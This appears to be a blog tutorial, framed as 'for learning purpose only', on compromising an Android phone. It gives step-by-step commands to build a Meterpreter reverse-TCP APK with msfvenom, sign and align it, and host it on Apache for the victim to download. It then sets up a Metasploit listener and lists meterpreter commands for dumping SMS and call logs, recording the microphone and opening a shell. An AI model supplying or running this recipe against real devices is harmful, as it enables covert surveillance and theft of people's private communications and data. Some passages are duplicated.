Simply For learning purpose only way to hack any Android

1. Creating a malicious APK (Android Package Kit file format):

In Kali, open the terminal and execute the following command to generate the malicious APK:

sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=<your-ip-address, thats the ip address of the Kali Linux> LPORT=4444 R > android.apk

Below is the break down of what the command means

Note: Replace <your-ip-address> with Kali IP address.

An APK file (Android Package Kit file format) is the file format for applications used on the Android

msfvenom: Metasploit Framework tool for generating payloads.
-p android/meterpreter/reverse_tcp: Specifies Android Meterpreter reverse TCP payload.
LHOST=<your-ip-address>: Sets the attacker’s IP address for the connection.
LPORT=4444: Sets the port for the connection.
R: Specifies raw output format.
> android.apk: Redirects the output to an APK file named “android.apk”.

Signing the Certificate

Generate a Keystore for the android.apk file:

sudo keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000

keytool: Java tool for managing cryptographic keys and certificates.
-genkey: Generates a new key pair and certificate.
-V: Enables verbose output for more detailed information.
-keystore key.keystore: Specifies the filename of the keystore file to be created (key.keystore).
-alias hacked: Sets an alias (identifier) for the key entry in the keystore (hacked).
-keyalg RSA: Specifies the algorithm to generate the key pair (RSA).
-keysize 2048: Sets the size of the key (2048 bits).
validity 10000: Sets the validity period of the key pair in days (10000 days).
Install Jarsigner tool:

sudo apt-get install openjdk-11-jdk-headless

Jarsigner is a command-line tool used to digitally sign Java Archive (JAR) files, including APK files in the case of Android applications. Signing the APK file is crucial as it ensures the integrity and authenticity of the application. Android devices require properly signed certificates for app installation, and only signed APK files can be installed.

Sign the APK file using Jarsigner:

sudo jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android.apk hacked

Explanation of each part of the command:

-verbose: Prints detailed information about the signing process.
-sigalg SHA1withRSA: Specifies the signature algorithm. SHA1withRSA is commonly used.
-digestalg SHA1: Specifies the digest algorithm. SHA1 is commonly used.
-keystore key.keystore: Specifies the keystore file containing the private key used for signing. Replace key.keystore with the actual filename of your keystore.
android.apk: Specifies the APK file you want to sign.
hacked: Specifies the alias of the key within the keystore.
Make sure to replace key.keystore with the actual filename of your keystore, and ensure that the keystore file is located in the correct directory. Additionally, replace android.apk with the actual filename of the APK you want to sign.

After running this command, you may be prompted to enter the keystore password. If successful, the APK will be signed with the specified keystore.

Verify if the application is signed:

sudo jarsigner -verify -verbose -certs android.apk

Explanation of each part of the command:

-verify: Instructs jarsigner to verify the signature of the JAR file.
-verbose: Prints detailed information about the verification process.
-certs: Prints the certificates associated with the APK during verification.
-keystore key.keystore: Specifies the keystore file containing the public key used for verification. Replace key.keystore with the actual filename of your keystore.
android.apk: Specifies the APK file you want to verify.
Make sure to replace key.keystore with the actual filename of your keystore, and ensure that the keystore file is located in the correct directory. After running this command, you should see information about the verification process, including details about the certificates associated with the APK.

If the verification is successful, it indicates that the APK has been signed with the private key corresponding to the public key stored in the specified keystore.

Install Zipalign tool:

sudo apt-get install zipalign

Zipalign is a tool used to optimize the alignment of resources in APK files. It ensures that all uncompressed data starts with a particular alignment relative to the start of the file. This optimization process improves the performance of the APK on Android devices by reducing memory usage.

Install Zipalign tool:

sudo apt-get install zipalign

Zipalign is a tool used to optimize the alignment of resources in APK files. It ensures that all uncompressed data starts with a particular alignment relative to the start of the file. This optimization process improves the performance of the APK on Android devices by reducing memory usage.

Convert the .apk file with zipalign:
sudo zipalign -v 4 android.apk singed_jar.apk

zipalign: Android tool for optimizing APK files.
-v: Enables verbose output for more detailed information.
4: Specifies the alignment requirement (4-byte alignment).
android.apk: Specifies the input APK file to be aligned.
singed_jar.apk: Specifies the output aligned APK file.

sudo zipalign -v 4 android.apk singed_jar.apk command threw an error below
zipalign: symbol lookup error: zipalign: undefined symbol: _ZN11zip_archive6WriterD2Ev

The error you’re encountering with zipalign suggests a symbol lookup issue. This issue might be caused by a mismatch between the version of the zipalign tool and the libraries it depends on.

We need to uninstall the zipalign so we can reinstall the right version using the command sudo apt — purge remove zipalign

Then visit this link. I picked the Zipalign under Debian 10 because it matches my kali Linux

I clicked on the first zipalign link under Debian 10, then you can scroll down and go to downloads and copy the link in the download session

Copy the link and access it on kali Linux

After the Zipalign package is downloaded, ensure it is in the current directory, and then execute the following command to initiate the Zipalign package installation process.

sudo apt install ./zipalign_*_amd64.deb

and verify with the command zipalign

Convert the .apk file with zipalign:
sudo zipalign -v 4 android.apk singed_jar.apk

zipalign: Android tool for optimizing APK files.
-v: Enables verbose output for more detailed information.
4: Specifies the alignment requirement (4-byte alignment).
android.apk: Specifies the input APK file to be aligned.
singed_jar.apk: Specifies the output aligned APK file.

We are going to start the apache server on kali linux and attach the vulnerability to it so that it can be downloaded in the the android device through its web browser

Use the command service apache2 start to start the web server the use service apache2 status to check and confirm its running

This command sudo cp signed_jar.apk /var/www/html to copy the signed_jar.apk file to the /var/www/html directory. Ensure that the file signed_jar.apk exists in the current directory or provide the correct path to the file if it’s located elsewhere. You can move into the directory to check if the file vulnerability was successfully moved to that directory

Download Mozila Firefox on the Android device on the VMware
On the browser o

On the browser of the firefox type the ip address of the kali linux and the name of the vulnerable file like this 192.168.xxx.xxx/singed_jar.apk then click allow on the pop up

Click download to download the vulnerability

Click Next

Click Allow

Click Done

Setting up listener on Metasploit on Kali Linux
Open Metasploit console:
sudo msfconsole
Load multi-handler exploit:
use exploit/multi/handler
Set up the reverse payload:
set payload android/meterpreter/reverse_tcp
Set LHOST and LPORT:
set LHOST <your-ip-address>
set LPORT 4444
Start the listener:
run

Use the follow commands for meterpreter to get info

sysinfo: Display system information.

check_root: Check if the device is rooted.

record_mic: Record sounds on the victim’s end.

Using the command dump_calllog to retrieve the call log
Using the command getuid to get the user id

Using the command ps to get running proccesses
Using the command shell to get into the shell mode

Using the command dump_sms to get the sms sent by the android device

Using the command ifconfig to get network information

Interface 7 shows the ip address of the android devices

This is the end of the exploitation as i was able to get into the android through a vulnerability that was downloaded into the android device because of relaxed security rules. Through the vulnerability i was able to gather so much information from the android device like call log, running proccesses, network information, send sms, capture sms sent and many more.